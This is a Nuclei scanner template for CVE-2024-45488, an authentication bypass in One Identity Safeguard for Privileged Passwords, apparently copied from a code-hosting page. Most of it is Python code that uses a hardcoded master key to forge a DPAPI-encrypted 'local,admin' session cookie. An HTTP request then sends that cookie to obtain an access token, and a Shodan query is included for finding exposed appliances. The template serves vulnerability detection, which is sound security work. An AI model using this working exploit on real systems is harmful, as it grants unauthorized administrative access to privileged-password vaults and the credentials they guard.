318 lines
12 KiB
YAML
318 lines
12 KiB
YAML
id: CVE-2024-45488
|
|
|
|
info:
|
|
name: SafeGuard for Privileged Passwords < 7.5.2 - Authentication Bypass
|
|
author: iamnoooob,rootxharsh,pdresearch
|
|
severity: critical
|
|
description: |
|
|
One Identity Safeguard for Privileged Passwords before 7.5.2 allows unauthorized access because of an issue related to cookies. This only affects virtual appliance installations (VMware or HyperV). The fixed versions are 7.0.5.1 LTS, 7.4.2, and 7.5.2.
|
|
reference:
|
|
- https://blog.amberwolf.com/blog/2024/september/cve-2024-45488-one-identity-safeguard-for-privileged-passwords-authentication-bypass/
|
|
- https://blog.amberwolf.com/blog/2024/september/skeleton-cookie-breaking-into-safeguard-with-cve-2024-45488/
|
|
- https://gist.github.com/rxwx/c968b3324e74058208fe6e168fd8730f
|
|
- https://support.oneidentity.com/kb/4376740/safeguard-for-privileged-passwords-security-vulnerability-notification-defect-460620
|
|
- https://support.oneidentity.com/product-notification/noti-00001628
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2024-45488
|
|
epss-score: 0.00043
|
|
epss-percentile: 0.09691
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
shodan-query: html:"Safeguard for Privileged Passwords"
|
|
tags: cve,cve2024,auth-bypass,safeguard
|
|
code:
|
|
- engine:
|
|
- py
|
|
- python3 # requires python to be pre-installed on system running nuclei
|
|
source: |
|
|
# pip install pycryptodome
|
|
from datetime import datetime, timedelta
|
|
from Crypto.Cipher import AES, DES3
|
|
from Crypto.Hash import HMAC, SHA1, SHA512, SHA256
|
|
from Crypto.Util.Padding import pad
|
|
from io import BytesIO
|
|
import argparse
|
|
import string
|
|
import base64
|
|
import uuid
|
|
import os
|
|
|
|
class DPAPIBlob:
|
|
CALG_3DES = 0x6603
|
|
CALG_AES_256 = 0x6610
|
|
|
|
CALG_SHA1 = 0x8004
|
|
CALG_SHA_256 = 0x800c
|
|
CALG_SHA_512 = 0x800e
|
|
|
|
def combine_bytes(self, *arrays):
|
|
return b''.join(arrays)
|
|
|
|
def hmac_sha512(self, key, data):
|
|
hmac = HMAC.new(key, digestmod=SHA512)
|
|
hmac.update(data)
|
|
return hmac.digest()
|
|
|
|
def derive_key_raw(self, hash_bytes, alg_hash):
|
|
ipad = bytearray([0x36] * 64)
|
|
opad = bytearray([0x5C] * 64)
|
|
|
|
for i in range(len(hash_bytes)):
|
|
ipad[i] ^= hash_bytes[i]
|
|
opad[i] ^= hash_bytes[i]
|
|
|
|
if alg_hash == self.CALG_SHA1:
|
|
sha1 = SHA1.new()
|
|
ipad_sha1bytes = sha1.new(ipad).digest()
|
|
opad_sha1bytes = sha1.new(opad).digest()
|
|
return self.combine_bytes(ipad_sha1bytes, opad_sha1bytes)
|
|
else:
|
|
raise Exception(f"Unsupported alg_hash: {alg_hash}")
|
|
|
|
def derive_key2(self, key, nonce, hash_algorithm, blob, entropy=None):
|
|
"""
|
|
Derive a key using the provided key, nonce, hash algorithm, blob, and optional entropy.
|
|
|
|
:param key: The base key material.
|
|
:param nonce: The nonce (salt) value.
|
|
:param hash_algorithm: The hash algorithm identifier (SHA1, SHA256, SHA512).
|
|
:param blob: The additional data to include in the key derivation.
|
|
:param entropy: Optional entropy to include in the key derivation.
|
|
:return: The derived key as a byte array.
|
|
"""
|
|
if hash_algorithm == self.CALG_SHA1:
|
|
hmac = HMAC.new(key, digestmod=SHA1)
|
|
elif hash_algorithm == self.CALG_SHA_256:
|
|
hmac = HMAC.new(key, digestmod=SHA256)
|
|
elif hash_algorithm == self.CALG_SHA_512:
|
|
hmac = HMAC.new(key, digestmod=SHA512)
|
|
else:
|
|
raise Exception(f"Unsupported hash algorithm: {hash_algorithm}")
|
|
|
|
key_material = bytearray()
|
|
key_material.extend(nonce)
|
|
|
|
if entropy is not None:
|
|
key_material.extend(entropy)
|
|
|
|
key_material.extend(blob)
|
|
|
|
hmac.update(key_material)
|
|
return hmac.digest()
|
|
|
|
def derive_key(self, key_bytes, salt_bytes, alg_hash, entropy=None):
|
|
if alg_hash == self.CALG_SHA_512:
|
|
if entropy is not None:
|
|
return self.hmac_sha512(key_bytes, self.combine_bytes(salt_bytes, entropy))
|
|
else:
|
|
return self.hmac_sha512(key_bytes, salt_bytes)
|
|
elif alg_hash == self.CALG_SHA1:
|
|
ipad = bytearray([0x36] * 64)
|
|
opad = bytearray([0x5C] * 64)
|
|
|
|
for i in range(len(key_bytes)):
|
|
ipad[i] ^= key_bytes[i]
|
|
opad[i] ^= key_bytes[i]
|
|
|
|
buffer_i = self.combine_bytes(ipad, salt_bytes)
|
|
|
|
sha1 = SHA1.new()
|
|
sha1.update(buffer_i)
|
|
sha1_buffer_i = sha1.digest()
|
|
|
|
buffer_o = self.combine_bytes(opad, sha1_buffer_i)
|
|
if entropy is not None:
|
|
buffer_o = self.combine_bytes(buffer_o, entropy)
|
|
|
|
sha1.update(buffer_o)
|
|
sha1_buffer_o = sha1.digest()
|
|
|
|
return self.derive_key_raw(sha1_buffer_o, alg_hash)
|
|
else:
|
|
raise Exception("Unsupported Hash Algorithm")
|
|
|
|
def encrypt(self, plaintext, key, algCrypt):
|
|
if algCrypt == self.CALG_3DES:
|
|
iv = b'\x00' * 8
|
|
cipher = DES3.new(key, DES3.MODE_CBC, iv)
|
|
elif algCrypt == self.CALG_AES_256:
|
|
iv = b'\x00' * 16
|
|
cipher = AES.new(key, AES.MODE_CBC, iv)
|
|
else:
|
|
raise Exception(f"Unsupported encryption algorithm: {algCrypt}")
|
|
|
|
padded_data = pad(plaintext, cipher.block_size)
|
|
return cipher.encrypt(padded_data)
|
|
|
|
def create_blob(self, plaintext, masterKey, algCrypt, algHash, masterKeyGuid, flags=0, entropy=None, description=""):
|
|
descBytes = description.encode('utf-16le') if description else b'\x00\x00'
|
|
saltBytes = os.urandom(32)
|
|
hmac2KeyLen = 32
|
|
|
|
if algCrypt == self.CALG_3DES:
|
|
algCryptLen = 192
|
|
elif algCrypt == self.CALG_AES_256:
|
|
algCryptLen = 256
|
|
else:
|
|
raise Exception(f"Unsupported encryption algorithm: {algCrypt}")
|
|
|
|
if algHash == self.CALG_SHA1:
|
|
signLen = 20
|
|
elif algHash == self.CALG_SHA_256:
|
|
signLen = 32
|
|
elif algHash == self.CALG_SHA_512:
|
|
signLen = 64
|
|
else:
|
|
raise Exception(f"Unsupported hash algorithm: {algHash}")
|
|
|
|
# Derive key
|
|
derivedKeyBytes = self.derive_key(masterKey, saltBytes, algHash, entropy)
|
|
finalKeyBytes = derivedKeyBytes[:algCryptLen // 8]
|
|
|
|
# Encrypt data
|
|
encData = self.encrypt(plaintext, finalKeyBytes, algCrypt)
|
|
|
|
# Construct the BLOB using BytesIO
|
|
blob = BytesIO()
|
|
|
|
# Version
|
|
blob.write((1).to_bytes(4, 'little'))
|
|
|
|
# Provider GUID
|
|
providerGuid = uuid.UUID("df9d8cd0-1501-11d1-8c7a-00c04fc297eb").bytes_le
|
|
blob.write(providerGuid)
|
|
|
|
# MasterKey version
|
|
blob.write((1).to_bytes(4, 'little'))
|
|
|
|
# MasterKey GUID
|
|
blob.write(masterKeyGuid.bytes_le)
|
|
|
|
# Flags
|
|
blob.write((flags).to_bytes(4, 'little'))
|
|
|
|
# Description length
|
|
blob.write(len(descBytes).to_bytes(4, 'little'))
|
|
|
|
# Description
|
|
blob.write(descBytes)
|
|
|
|
# Algorithm ID
|
|
blob.write(algCrypt.to_bytes(4, 'little'))
|
|
|
|
# Algorithm key length
|
|
blob.write(algCryptLen.to_bytes(4, 'little'))
|
|
|
|
# Salt length
|
|
blob.write(len(saltBytes).to_bytes(4, 'little'))
|
|
|
|
# Salt
|
|
blob.write(saltBytes)
|
|
|
|
# HMAC key length (always 0)
|
|
blob.write((0).to_bytes(4, 'little'))
|
|
|
|
# Hash algorithm ID
|
|
blob.write(algHash.to_bytes(4, 'little'))
|
|
|
|
# Hash length
|
|
blob.write((len(derivedKeyBytes) * 8).to_bytes(4, 'little'))
|
|
|
|
# HMAC2 key length
|
|
blob.write(hmac2KeyLen.to_bytes(4, 'little'))
|
|
|
|
# HMAC2 key
|
|
hmac2Key = os.urandom(hmac2KeyLen)
|
|
blob.write(hmac2Key)
|
|
|
|
# Data length
|
|
blob.write(len(encData).to_bytes(4, 'little'))
|
|
|
|
# Encrypted Data
|
|
blob.write(encData)
|
|
|
|
# Create the HMAC (sign) over the entire blob except for the sign field
|
|
signBlob = blob.getvalue()[20:] # Skip the first 20 bytes for the HMAC calculation
|
|
sign = self.derive_key2(masterKey, hmac2Key, algHash, signBlob, entropy)
|
|
|
|
# Sign length
|
|
blob.write(signLen.to_bytes(4, 'little'))
|
|
|
|
# Sign
|
|
blob.write(sign)
|
|
|
|
return blob.getvalue()
|
|
|
|
def main():
|
|
args = {
|
|
'master_key': '48F4153A8C26C2B026562685B67C30EFF119D735',
|
|
'master_key_guid': '98dc3c79-9aa5-4efc-927f-ccec24eaa14e',
|
|
'local': 1,
|
|
'base64': 1
|
|
}
|
|
current_time = datetime.utcnow().strftime("%Y%m%dT%H%M%SZ")
|
|
future_time = (datetime.utcnow() + timedelta(days=1)).strftime("%Y%m%dT%H%M%SZ")
|
|
|
|
plaintext= f"local,admin,Primary,Password,{current_time},{future_time}"
|
|
plaintext=plaintext.encode('utf-8')
|
|
if not all(c in string.hexdigits for c in args['master_key']):
|
|
print (f' Provided master key is not valid: {args.master_key}')
|
|
return
|
|
|
|
try:
|
|
uuid.UUID(args["master_key_guid"])
|
|
except ValueError:
|
|
print (f' Provided master key GUID is not valid: {args["master_key_guid"]}')
|
|
return
|
|
|
|
# Parse the master key and GUID
|
|
masterKey = bytes.fromhex(args['master_key'])
|
|
masterKeyGuid = uuid.UUID(args["master_key_guid"])
|
|
algCrypt = DPAPIBlob.CALG_AES_256
|
|
algHash = DPAPIBlob.CALG_SHA_512
|
|
flags = 0
|
|
|
|
if args['local']:
|
|
flags |= 4 # CRYPTPROTECT_LOCAL_MACHINE
|
|
|
|
dpapi = DPAPIBlob()
|
|
encrypted_blob = dpapi.create_blob(plaintext, masterKey, algCrypt, algHash, masterKeyGuid, flags)
|
|
|
|
if args['base64']:
|
|
output_data = base64.b64encode(encrypted_blob).decode('utf-8')
|
|
else:
|
|
output_data = encrypted_blob.hex(' ')
|
|
|
|
print(f"{output_data}")
|
|
|
|
if __name__ == "__main__":
|
|
main()
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/RSTS/UserLogin/LoginController?response_type=token&redirect_uri=https%3A%2F%2Flocalhost&loginRequestStep=6&csrfTokenTextbox=aaa"
|
|
headers:
|
|
Cookie: "CsrfToken=aaa; stsIdentity0={{code_response}}"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "access_token="
|
|
- "RelyingPartyUrl"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: content_type
|
|
words:
|
|
- 'application/json'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100c1e04d6c3c9b3781cddc3a25c1575a5ba79913fcb113b949659cbe6f87802da4022100ffc7b910822ab03f153975956bc9be2f175452f64a182962f4c3f93e1b7f68c8:922c64590222798bb761d5b6d8e72950 |